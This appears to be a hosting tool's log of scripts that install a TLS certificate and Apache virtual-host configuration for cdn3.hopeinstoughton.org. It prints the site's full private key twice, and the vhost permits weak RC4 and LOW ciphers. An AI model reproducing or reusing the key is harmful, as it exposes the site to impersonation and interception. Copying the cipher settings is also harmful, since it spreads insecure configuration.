chmod 755 /tmp/pkp500316; /tmp/pkp500316; rm /tmp/pkp500316

2026-05-15 10:08:26: 




2026-05-15 10:08:26: Establishing a connection
2026-05-15 10:08:27: 

PUT: /tmp/pkp611957

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0

cat > $temp_file <<'endmsg'
0b:74:78:55:2d:77:b3:a1:56:81:d7:b5:3b:60:27:3e

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBf1iVLSZd9baSjRN+utaoZMVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE1MDkwOTUzWhcNMjYwODEzMDkwOTUyWjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCatINHoiDvy1NVSalfNon9PjWVlNaJoT9pwKRGmo3QBakj+Unn
BIaQMh1fc2zQhJwsHx+D/qbO2kYGBJ7CA9h7YtA6vDsgJK6+RC+9JdhM0PChf1h9
/SuHta0yI+f7eg2GTgo5LEUhaE6xZsh+C+gynpvEGgdKuNq6LcOjmaAb/Dlt+0JY
F3gbbSD3FgyHS11pc5T5Lr8JSEuO4kiugdB2uDdiCHkbj8oIZMORMREX39+EqFOL
xPoaMMnWI9985u05Li0xixzh/UaUVdXmd1rnYi/012WDNDh1SYkrLV4YI+yTnwwl
fvhkOXxWEKeOry5qHIDeWNOGAJZk3XGteNTxAgMBAAGjggIlMIICITAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUL5/z8ZMSh2GejFwT9HmfMURHA8owHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8yMi5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ4rG9AAAAAE
AwBGMEQCICOsH4rdN1CxO1qONG1eW418MHxPRZlb5Hnd29Pw+5KYAiBtt1EjSriz
QXR1Upz9MzJqkRUulTT9T9KTDuYJrRq7agB+AKgmy+MKxjUSRlM/4GXxTxnZbhkI
E8Qd2W15ALMSPFUnAAABnisb0a0ACAAABQAK/QfOBAMARzBFAiAHliMdFs+gz2z6
+1bAhLhleToF1+c4c9Ug74ZIy6vD0QIhAOMm4XqNzUMNm8mPYkqbcp675un2GPI5
0EdI/iRmQY/1MA0GCSqGSIb3DQEBCwUAA4IBAQBB60nHaRZnGy0QeSjj7sKMFu78
C4loItXtH/tEC9K3ISsJA4rjSpYTi7luUEaxIcLFVSs2DLvH0WHomHW5HiCIl3zf
ku5DoQVYiWrXI2OxCxuySp3pEjgC5lbvgEqvkCJUR+RJD37Y963aba2AhYjRgsLL
2Z17Y5pRgA63qvreOcO782aVYfhYGbDnNtsqocishgiK/uqPcGjdiDo5mWdvXgz9
oL6yqNdVpsZo8jRAStLcCKuPIpjwi41bwLhBTygLsbZKZwoYcmxsNGsv1QWVOhTs
7Uo5V+AeHvrbspzIjSPlRIc4FsfMMM8/ATo0K9kgIacNz5p7D0+ddK+Apccn
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCatINHoiDvy1NV
SalfNon9PjWVlNaJoT9pwKRGmo3QBakj+UnnBIaQMh1fc2zQhJwsHx+D/qbO2kYG
BJ7CA9h7YtA6vDsgJK6+RC+9JdhM0PChf1h9/SuHta0yI+f7eg2GTgo5LEUhaE6x
Zsh+C+gynpvEGgdKuNq6LcOjmaAb/Dlt+0JYF3gbbSD3FgyHS11pc5T5Lr8JSEuO
4kiugdB2uDdiCHkbj8oIZMORMREX39+EqFOLxPoaMMnWI9985u05Li0xixzh/UaU
VdXmd1rnYi/012WDNDh1SYkrLV4YI+yTnwwlfvhkOXxWEKeOry5qHIDeWNOGAJZk
3XGteNTxAgMBAAECggEACLbz8ThTEib6PALxAU3NcqBLPPCcMDcO3ypsppSEugvj
lgTwMo0I9nz4Nh0Gq21Y7cxYBmO1KlBV4vdmKQg17OdpUvGxA/PFCy9EoCtOVq9r
arGFft1g0x17Eui+Y+ZhdigVv9g8UbAyRKCFWUJa82UHYcHUmNM2cQfsbh4UjJbv
g6K13W5kKJ3gMd+9gkYvZS0ECrd0eG74XJ5RfwpFWa+zQPljZAFzGzgvwtHkonZA
O+und5iEUcxmRiUStvEsaHhJzdnKr7A11ha/eEP57+XxpbVXN63CR3yNdr+Gnifv
ETNQ0OCVGILfx3VubyMetI4qqQvGCor/X/rvsbZ/sQKBgQDQ94frgmr2HYEAl66l
yZBrmH4Br0odLUpnk1Jsd6GVaMyDy5G7cbBmPx5fMF6AFyzLG9NkGcqA28tY8sY2
AgFmHLyk7G7LGuPmWY+WKU3AiblGSaEAqJ0i36XLh9Ev1PDNOlV18C3RWDJOyLOB
gISzfv7fQRXa/TBVfozUy0d5CQKBgQC9hniBWZUq1+/Zc4kTbG2zgM3ThQJH9nw2
6WYSlvfHztTorPkvmlDl2J1Dj5EgWK/69zyuc+dgEUFt3l3LCpogdHqqrBRcE6CP
WGVNYaHmg5lgaNV9usfEPpuCd42HM15O5FjkrLvtML9ngCOnGXKpH7jOy1zLnMO1
Pibj81v+qQKBgCg/tSdQfGehMSq7DIGUPEPtIEAU0jKieZVPk+2ecToE8HdmK1Cu
Siq3d5MgDuOfExqf5mx+ZznAm/8q67CVXE2dtVwSyhhGuqSwlW530CkIne4C2ob0
8yc3aoi0RT9wRV1SIgnQVBLhaPcxwxlrdqPYDyFTOPFwGPIuqNOHv+F5AoGASGye
mC93hUvHaD1yYG3K7hGGlhH58S4MAZ/nVatDPKOZUODoyHwb9fl0/2BZgRbjCPB5
y+CWxmtRqX6UMQb4Jvbb+WSQ0y7c6GpLK+rnR4N6lRD6pHU/6YpTOuQcvVGv9E3m
elxX5CgAvLiG51AeNOreYIfuChD56MS7b9iLiyECgYANJW+NF+WPHaFR1SXT6HZV
ewZwwPO3F3FHvjp7udvBVnb5/GH7g2STPmbxwkIVslQPUCXr/vGtJ9NZkt+7Xq0J
Hxqh7SPd33dKGiEob5JR6CX5ZY7Wmy0a1Q+o5vHSTwib2Vu7eTHv5i82+3HnZ6M2
bbQ3eQZURR7S3QPaDC80tQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-15 10:08:28: 

chmod 755 /tmp/pkp611957; /tmp/pkp611957; rm /tmp/pkp611957

2026-05-15 10:08:28: 


dir=/etc/ssl/certs


2026-05-15 10:08:28: 

PUT: /tmp/pkp865989

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-15 10:08:28: 

chmod 755 /tmp/pkp865989; /tmp/pkp865989; rm /tmp/pkp865989

2026-05-15 10:08:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-05-15 10:08:29: 

PUT: /tmp/pkp889986

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi


2026-05-15 10:08:29: 

chmod 755 /tmp/pkp889986; /tmp/pkp889986; rm /tmp/pkp889986

2026-05-15 10:08:29: 




2026-05-15 10:08:29: 

PUT: /tmp/pkp647972

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-15 10:08:30: 

chmod 755 /tmp/pkp647972; /tmp/pkp647972; rm /tmp/pkp647972

2026-05-15 10:08:30: 


.


2026-05-15 10:08:30: Establishing a connection
2026-05-15 10:08:31: 

PUT: /tmp/pkp582214

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-15 10:08:32: 

chmod 755 /tmp/pkp582214; /tmp/pkp582214; rm /tmp/pkp582214

2026-05-15 10:08:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-15 10:08:32: 

PUT: /tmp/pkp958685

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-15 10:08:32: 

chmod 755 /tmp/pkp958685; /tmp/pkp958685; rm /tmp/pkp958685

2026-05-15 10:08:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-05-15 10:08:33: 

PUT: /tmp/pkp784638

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-15 10:08:33: 

chmod 755 /tmp/pkp784638; /tmp/pkp784638; rm /tmp/pkp784638

2026-05-15 10:08:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5365
0b:74:78:55:2d:77:b3:a1:56:81:d7:b5:3b:60:27:3e

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBf1iVLSZd9baSjRN+utaoZMVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE1MDkwOTUzWhcNMjYwODEzMDkwOTUyWjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCatINHoiDvy1NVSalfNon9PjWVlNaJoT9pwKRGmo3QBakj+Unn
BIaQMh1fc2zQhJwsHx+D/qbO2kYGBJ7CA9h7YtA6vDsgJK6+RC+9JdhM0PChf1h9
/SuHta0yI+f7eg2GTgo5LEUhaE6xZsh+C+gynpvEGgdKuNq6LcOjmaAb/Dlt+0JY
F3gbbSD3FgyHS11pc5T5Lr8JSEuO4kiugdB2uDdiCHkbj8oIZMORMREX39+EqFOL
xPoaMMnWI9985u05Li0xixzh/UaUVdXmd1rnYi/012WDNDh1SYkrLV4YI+yTnwwl
fvhkOXxWEKeOry5qHIDeWNOGAJZk3XGteNTxAgMBAAGjggIlMIICITAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUL5/z8ZMSh2GejFwT9HmfMURHA8owHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8yMi5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ4rG9AAAAAE
AwBGMEQCICOsH4rdN1CxO1qONG1eW418MHxPRZlb5Hnd29Pw+5KYAiBtt1EjSriz
QXR1Upz9MzJqkRUulTT9T9KTDuYJrRq7agB+AKgmy+MKxjUSRlM/4GXxTxnZbhkI
E8Qd2W15ALMSPFUnAAABnisb0a0ACAAABQAK/QfOBAMARzBFAiAHliMdFs+gz2z6
+1bAhLhleToF1+c4c9Ug74ZIy6vD0QIhAOMm4XqNzUMNm8mPYkqbcp675un2GPI5
0EdI/iRmQY/1MA0GCSqGSIb3DQEBCwUAA4IBAQBB60nHaRZnGy0QeSjj7sKMFu78
C4loItXtH/tEC9K3ISsJA4rjSpYTi7luUEaxIcLFVSs2DLvH0WHomHW5HiCIl3zf
ku5DoQVYiWrXI2OxCxuySp3pEjgC5lbvgEqvkCJUR+RJD37Y963aba2AhYjRgsLL
2Z17Y5pRgA63qvreOcO782aVYfhYGbDnNtsqocishgiK/uqPcGjdiDo5mWdvXgz9
oL6yqNdVpsZo8jRAStLcCKuPIpjwi41bwLhBTygLsbZKZwoYcmxsNGsv1QWVOhTs
7Uo5V+AeHvrbspzIjSPlRIc4FsfMMM8/ATo0K9kgIacNz5p7D0+ddK+Apccn
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCatINHoiDvy1NV
SalfNon9PjWVlNaJoT9pwKRGmo3QBakj+UnnBIaQMh1fc2zQhJwsHx+D/qbO2kYG
BJ7CA9h7YtA6vDsgJK6+RC+9JdhM0PChf1h9/SuHta0yI+f7eg2GTgo5LEUhaE6x
Zsh+C+gynpvEGgdKuNq6LcOjmaAb/Dlt+0JYF3gbbSD3FgyHS11pc5T5Lr8JSEuO
4kiugdB2uDdiCHkbj8oIZMORMREX39+EqFOLxPoaMMnWI9985u05Li0xixzh/UaU
VdXmd1rnYi/012WDNDh1SYkrLV4YI+yTnwwlfvhkOXxWEKeOry5qHIDeWNOGAJZk
3XGteNTxAgMBAAECggEACLbz8ThTEib6PALxAU3NcqBLPPCcMDcO3ypsppSEugvj
lgTwMo0I9nz4Nh0Gq21Y7cxYBmO1KlBV4vdmKQg17OdpUvGxA/PFCy9EoCtOVq9r
arGFft1g0x17Eui+Y+ZhdigVv9g8UbAyRKCFWUJa82UHYcHUmNM2cQfsbh4UjJbv
g6K13W5kKJ3gMd+9gkYvZS0ECrd0eG74XJ5RfwpFWa+zQPljZAFzGzgvwtHkonZA
O+und5iEUcxmRiUStvEsaHhJzdnKr7A11ha/eEP57+XxpbVXN63CR3yNdr+Gnifv
ETNQ0OCVGILfx3VubyMetI4qqQvGCor/X/rvsbZ/sQKBgQDQ94frgmr2HYEAl66l
yZBrmH4Br0odLUpnk1Jsd6GVaMyDy5G7cbBmPx5fMF6AFyzLG9NkGcqA28tY8sY2
AgFmHLyk7G7LGuPmWY+WKU3AiblGSaEAqJ0i36XLh9Ev1PDNOlV18C3RWDJOyLOB
gISzfv7fQRXa/TBVfozUy0d5CQKBgQC9hniBWZUq1+/Zc4kTbG2zgM3ThQJH9nw2
6WYSlvfHztTorPkvmlDl2J1Dj5EgWK/69zyuc+dgEUFt3l3LCpogdHqqrBRcE6CP
WGVNYaHmg5lgaNV9usfEPpuCd42HM15O5FjkrLvtML9ngCOnGXKpH7jOy1zLnMO1
Pibj81v+qQKBgCg/tSdQfGehMSq7DIGUPEPtIEAU0jKieZVPk+2ecToE8HdmK1Cu
Siq3d5MgDuOfExqf5mx+ZznAm/8q67CVXE2dtVwSyhhGuqSwlW530CkIne4C2ob0
8yc3aoi0RT9wRV1SIgnQVBLhaPcxwxlrdqPYDyFTOPFwGPIuqNOHv+F5AoGASGye
mC93hUvHaD1yYG3K7hGGlhH58S4MAZ/nVatDPKOZUODoyHwb9fl0/2BZgRbjCPB5
y+CWxmtRqX6UMQb4Jvbb+WSQ0y7c6GpLK+rnR4N6lRD6pHU/6YpTOuQcvVGv9E3m
elxX5CgAvLiG51AeNOreYIfuChD56MS7b9iLiyECgYANJW+NF+WPHaFR1SXT6HZV
ewZwwPO3F3FHvjp7udvBVnb5/GH7g2STPmbxwkIVslQPUCXr/vGtJ9NZkt+7Xq0J
Hxqh7SPd33dKGiEob5JR6CX5ZY7Wmy0a1Q+o5vHSTwib2Vu7eTHv5i82+3HnZ6M2
bbQ3eQZURR7S3QPaDC80tQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
